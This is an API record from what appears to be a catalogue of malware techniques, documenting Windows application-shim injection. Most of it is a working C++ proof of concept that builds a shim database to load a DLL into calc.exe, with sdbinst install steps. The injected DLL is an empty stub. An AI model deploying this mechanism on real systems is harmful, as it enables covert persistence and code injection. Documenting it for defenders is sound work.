GET /api/techniques/116/
HTTP 200 OK
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "name": "Injection using Shims",
    "category": [
        "https://search.unprotect.it/api/categories/4/"
    ],
    "description": "Microsoft provides Shims to developers mainly for backward compatibility. Shims allow developers to apply fixes to their programs without the need of rewriting code. By leveraging shims, developers can tell the operating system how to handle their application. Shims are essentially a way of hooking into APIs and targeting specific executables. Malware can take advantage of shims to target an executable for both persistence and injection. Windows runs the Shim Engine when it loads a binary to check for shimming databases in order to apply the appropriate fixes.",
    "resources": "https://www.andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/\r\nhttps://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
    "tags": "shims",
    "snippets": [
        {
            "language": "https://search.unprotect.it/api/snippet_languages/2/",
            "author": "https://search.unprotect.it/api/snippet_authors/3/",
            "technique": "https://search.unprotect.it/api/techniques/116/",
            "description": "",
            "plain_code": "/*\r\nSource: https://gist.github.com/w4kfu/95a87764db7029e03f09d78f7273c4f4\r\n-------- dllinjshim.cpp --------\r\n> cl /Fe:dllinjshim.exe dllinjshim.cpp\r\n> dllinjshim.exe\r\n> sdbinst moo.sdb\r\n/!\\ On Windows 10 there is a new function `SdbIsKnownShimDll` called \r\nin `SdbGetDllPath` which will check the DLL name against the following list:\r\n- \"AcGenral.dll\"\r\n- \"AcLayers.dll\"\r\n- \"AcRes.dll\"\r\n- \"AcSpecfc.dll\"\r\n- \"AcWinRT.dll\"\r\n- \"acwow64.dll\"\r\n- \"AcXtrnal.dll\"\r\n- \"KeyboardFilterShim.dll\"\r\n- \"MasterShim.dll\"\r\n- \"depdetct\"\r\n- \"uacdetct\"\r\n- \"luadgmgt.dll\"\r\n- \"luapriv.dll\"\r\n- \"EMET.dll\"\r\n- \"EMET64.dll\"\r\n- \"LogExts.dll\"\r\n- \"LogShim.dll\"\r\n------------------------------------\r\n*/\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\n#define INJECTED_DLL_NAME   L\"moo.dll\"\r\n\r\n#define EXECUTABLE_NAME     L\"calc.exe\"\r\n#define OS_PLATFORM         4                   /* 0x1 : 32-bit ; 0x04 : 64-bit */\r\n\r\n\r\n#define TAGID_NULL          0\r\n\r\n#define TAG_TYPE_LIST       0x7000\r\n#define TAG_DATABASE        (0x1 | TAG_TYPE_LIST)\r\n#define TAG_LIBRARY         (0x2 | TAG_TYPE_LIST)\r\n#define TAG_INEXCLUDE       (0x3 | TAG_TYPE_LIST)\r\n#define TAG_SHIM            (0x4 | TAG_TYPE_LIST)\r\n#define TAG_EXE             (0x7 | TAG_TYPE_LIST)\r\n#define TAG_MATCHING_FILE   (0x8 | TAG_TYPE_LIST)\r\n#define TAG_SHIM_REF        (0x9 | TAG_TYPE_LIST)\r\n\r\n#define TAG_TYPE_DWORD      0x4000\r\n#define TAG_OS_PLATFORM     (0x23| TAG_TYPE_DWORD)\r\n\r\n#define TAG_TYPE_STRINGREF  0x6000\r\n#define TAG_NAME            (0x1 | TAG_TYPE_STRINGREF)\r\n#define TAG_MODULE          (0x3 | TAG_TYPE_STRINGREF)\r\n#define TAG_APP_NAME        (0x6 | TAG_TYPE_STRINGREF)\r\n#define TAG_DLLFILE         (0xA | TAG_TYPE_STRINGREF)\r\n\r\n#define TAG_TYPE_BINARY     0x9000\r\n#define TAG_EXE_ID          (0x4 | TAG_TYPE_BINARY)\r\n#define TAG_DATABASE_ID     (0x7 | TAG_TYPE_BINARY)\r\n\r\n#define TAG_TYPE_NULL       0x1000\r\n#define TAG_INCLUDE         (0x1 | TAG_TYPE_NULL)\r\n\r\ntypedef enum _PATH_TYPE {\r\n    DOS_PATH,\r\n    NT_PATH\r\n} PATH_TYPE;\r\n\r\ntypedef HANDLE PDB;\r\ntypedef DWORD TAG;\r\ntypedef DWORD INDEXID;\r\ntypedef DWORD TAGID;\r\n\r\ntypedef struct tagATTRINFO {\r\n    TAG  tAttrID;\r\n    DWORD dwFlags;\r\n    union {\r\n        ULONGLONG ullAttr;\r\n        DWORD   dwAttr;\r\n        TCHAR   *lpAttr;\r\n    };\r\n} ATTRINFO, *PATTRINFO;\r\n\r\ntypedef PDB (WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE);\r\ntypedef VOID (WINAPI *SdbCloseDatabaseWritePtr)(PDB);\r\ntypedef TAGID (WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG);\r\ntypedef BOOL (WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID);\r\ntypedef BOOL (WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR);\r\ntypedef BOOL (WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD);\r\ntypedef BOOL (WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD);\r\ntypedef BOOL (WINAPI *SdbWriteNULLTagPtr)(PDB, TAG);\r\n\r\ntypedef struct _APPHELP_API {\r\n    SdbCreateDatabasePtr         SdbCreateDatabase;\r\n    SdbCloseDatabaseWritePtr     SdbCloseDatabaseWrite;\r\n    SdbBeginWriteListTagPtr      SdbBeginWriteListTag;\r\n    SdbEndWriteListTagPtr        SdbEndWriteListTag;\r\n    SdbWriteStringTagPtr         SdbWriteStringTag;\r\n    SdbWriteDWORDTagPtr          SdbWriteDWORDTag;\r\n    SdbWriteBinaryTagPtr         SdbWriteBinaryTag;\r\n    SdbWriteNULLTagPtr           SdbWriteNULLTag;\r\n} APPHELP_API, *PAPPHELP_API;\r\n\r\nBOOL static LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {\r\n    if (!(pAppHelp->SdbBeginWriteListTag = (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, \"SdbBeginWriteListTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbBeginWriteListTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbCloseDatabaseWrite = (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, \"SdbCloseDatabaseWrite\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbCloseDatabaseWrite\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbCreateDatabase = (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, \"SdbCreateDatabase\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbCreateDatabase\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbEndWriteListTag = (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, \"SdbEndWriteListTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbEndWriteListTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteBinaryTag = (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, \"SdbWriteBinaryTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteBinaryTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteDWORDTag = (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, \"SdbWriteDWORDTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteDWORDTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteStringTag = (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, \"SdbWriteStringTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteStringTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteNULLTag = (SdbWriteNULLTagPtr)GetProcAddress(hAppHelp, \"SdbWriteNULLTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteNULLTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    return TRUE;\r\n}\r\n\r\nBOOL static DoStuff(PAPPHELP_API pAppHelp)\r\n{\r\n    PDB db = NULL;\r\n    TAGID tIdDatabase;\r\n    TAGID tIdLibrary;\r\n    TAGID tIdShim;\r\n    TAGID tIdInexclude;\r\n    TAGID tIdExe;\r\n    TAGID tIdMatchingFile;\r\n    TAGID tIdShimRef;\r\n    \r\n    db = pAppHelp->SdbCreateDatabase(L\"moo.sdb\", DOS_PATH);\r\n    if (db == NULL) {\r\n        fprintf(stderr, \"[-] SdbCreateDatabase failed : %lu\\n\", GetLastError());\r\n        return FALSE;\r\n    }\r\n    tIdDatabase = pAppHelp->SdbBeginWriteListTag(db, TAG_DATABASE);\r\n    pAppHelp->SdbWriteDWORDTag(db, TAG_OS_PLATFORM, OS_PLATFORM);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"moo_Database\");\r\n    pAppHelp->SdbWriteBinaryTag(db, TAG_DATABASE_ID, \"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\", 0x10);\r\n    tIdLibrary = pAppHelp->SdbBeginWriteListTag(db, TAG_LIBRARY);\r\n    tIdShim = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"moo_Shim\");\r\n    pAppHelp->SdbWriteStringTag(db, TAG_DLLFILE, INJECTED_DLL_NAME);\r\n    tIdInexclude = pAppHelp->SdbBeginWriteListTag(db, TAG_INEXCLUDE);\r\n    pAppHelp->SdbWriteNULLTag(db, TAG_INCLUDE);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_MODULE, L\"*\");\r\n    pAppHelp->SdbEndWriteListTag(db, tIdInexclude);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdShim);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdLibrary);\r\n    tIdExe = pAppHelp->SdbBeginWriteListTag(db, TAG_EXE);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, EXECUTABLE_NAME);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_APP_NAME, L\"moo_Apps\");\r\n    pAppHelp->SdbWriteBinaryTag(db, TAG_EXE_ID, \"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\", 0x10);\r\n    tIdMatchingFile = pAppHelp->SdbBeginWriteListTag(db, TAG_MATCHING_FILE);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"*\");\r\n    pAppHelp->SdbEndWriteListTag(db, tIdMatchingFile);\r\n    tIdShimRef = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM_REF);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"moo_Shim\");\r\n    pAppHelp->SdbEndWriteListTag(db, tIdShimRef);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdExe);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdDatabase);\r\n    pAppHelp->SdbCloseDatabaseWrite(db);\r\n    return TRUE;\r\n}\r\n\r\nint main(int argc, char *argv[]) {\r\n    APPHELP_API api = {0};\r\n    HMODULE hAppHelp = NULL;\r\n    \r\n    hAppHelp = LoadLibraryA(\"apphelp.dll\");\r\n    if (hAppHelp == NULL) {\r\n        fprintf(stderr, \"[-] LoadLibrary failed %lu\\n\", GetLastError());\r\n        return 1;\r\n    }\r\n    if (LoadAppHelpFunctions(hAppHelp, &api) == FALSE) {\r\n        printf(\"[-] Failed to load apphelp api %lu!\\n\", GetLastError());\r\n        return 1;\r\n    }\r\n    DoStuff(&api);\r\n    return 0;\r\n}\r\nmoo.cpp\r\n/*\r\n-------- moo.cpp --------\r\n> cl /LD /Fe:moo.dll moo.cpp\r\n> copy moo.dll \"C:\\Windows\\AppPatch\\AppPatch64\\moo.dll\"\r\n-------------------------\r\n*/\r\n\r\n#define EXPORT_FUNC extern \"C\" __declspec(dllexport)\r\n\r\nEXPORT_FUNC int GetHookAPIs(PVOID a, PVOID b, PVOID c)\r\n{\r\n    return 0x01; \r\n}\r\n\r\nEXPORT_FUNC int NotifyShims(PVOID a, PVOID b)\r\n{\r\n    return 0x01; \r\n}\r\n\r\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\r\n{\r\n    UNREFERENCED_PARAMETER(hinstDLL);\r\n    UNREFERENCED_PARAMETER(lpReserved);\r\n\r\n    if (fdwReason == DLL_PROCESS_ATTACH) {\r\n        return TRUE;\r\n    }\r\n    return TRUE;\r\n}"
        }
    ],
    "detection_rules": []
}